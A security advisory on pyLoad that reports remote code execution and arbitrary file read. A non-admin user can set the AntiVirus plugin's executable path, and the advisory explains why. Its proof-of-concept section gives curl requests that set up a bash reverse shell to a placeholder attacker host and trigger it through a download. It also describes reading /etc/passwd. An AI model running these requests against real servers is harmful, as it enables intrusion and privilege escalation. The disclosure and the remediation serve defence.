pyLoad: Improper Neutralization of Special Elements used in an OS Command
### Summary
The `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.
### Details
**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**
```python
ADMIN_ONLY_OPTIONS = {
"reconnect.script", # Blocks script path change
"webui.host", # Blocks bind address change
"ssl.cert_file", # Blocks cert path change
"ssl.key_file", # Blocks key path change
# ... other sensitive options
}
```
**Where it IS enforced — core config (core/api/__init__.py:255):**
```python
def set_config_value(self, section, option, value):
if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
if not self.user.is_admin:
raise PermissionError("Admin only")
# ...
```
**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**
```python
# Plugin config - NO admin check at all
self.pyload.config.set_plugin(category, option, value)
```
**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**
```python
def scan_file(self, file):
avfile = self.config.get("avfile") # User-controlled via plugin config
avargs = self.config.get("avargs")
subprocess.Popen([avfile, avargs, target]) # RCE
```
### PoC
```bash
# As non-admin user with SETTINGS permission:
# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST
http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.avfile' \
-d 'value=/bin/bash'
curl -b session_cookie -X POST
http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.avargs' \
-d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST
http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.activated' \
-d 'value=True'
# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST
http://TARGET:8000/api/add_package \
-d 'name=test' \
-d '
links=http://example.com/test.zip'
# Result: reverse shell as the pyload process user
```
### Additional Finding: Arbitrary File Read via storage_folder
The `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.
### Impact
- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config
- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access
- **Arbitrary file read** — Via storage_folder manipulation
### Remediation
Apply `ADMIN_ONLY_OPTIONS` to plugin config as well:
```python
# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
"AntiVirus.avfile",
"AntiVirus.avargs",
# ... any plugin option that controls executables or paths
}
if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
if not self.user.is_admin:
raise PermissionError("Admin only")
```
Or better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.